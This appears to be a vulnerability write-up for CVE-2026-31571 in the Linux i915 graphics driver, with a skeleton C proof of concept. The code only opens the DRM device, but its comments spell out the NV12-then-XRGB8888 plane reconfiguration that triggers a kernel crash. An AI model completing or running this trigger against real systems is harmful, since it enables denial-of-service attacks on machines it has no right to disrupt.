CVE-2026-31571: Linux内核drm/i915状态损坏漏洞

/* * PoC for CVE-2026-31571: Trigger i915 plane state clobber * Compile: gcc -o poc_cve2026_31571 poc_cve2026_31571.c -ldrm * Usage: ./poc_cve2026_31571 */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/drm_fourcc.h> // Conceptual PoC to demonstrate the trigger sequence int main(int argc, char **argv) { int drm_fd; const char *device = "/dev/dri/card0"; printf("[+] Opening device: %s\n", device); drm_fd = open(device, O_RDWR); if (drm_fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened successfully. FD: %d\n", drm_fd); printf("[+] Attempting to trigger atomic plane state change...\n"); // NOTE: Full exploitation requires constructing a specific DRM_IOCTL_MODE_ATOMIC // request that configures a plane as NV12 first, then reconfigures it // as a normal plane (e.g., XRGB8888) in a way that triggers the // plane_atomic_check() -> unlink_nv12_plane() race/order bug. // This skeleton demonstrates the necessary context. struct drm_mode_atomic atomic_req = {0}; // Setup flags and props here... (omitted for brevity as it depends on specific HW) // Step 1: Set plane to NV12 (Y-plane) // Step 2: Re-set plane to Normal format // Result: Kernel WARN/Oops due to state clobbering printf("[!] This PoC is a demonstration of the trigger logic.\n"); printf("[!] Exploitation requires specific hardware support and detailed property setup.\n"); close(drm_fd); return 0; }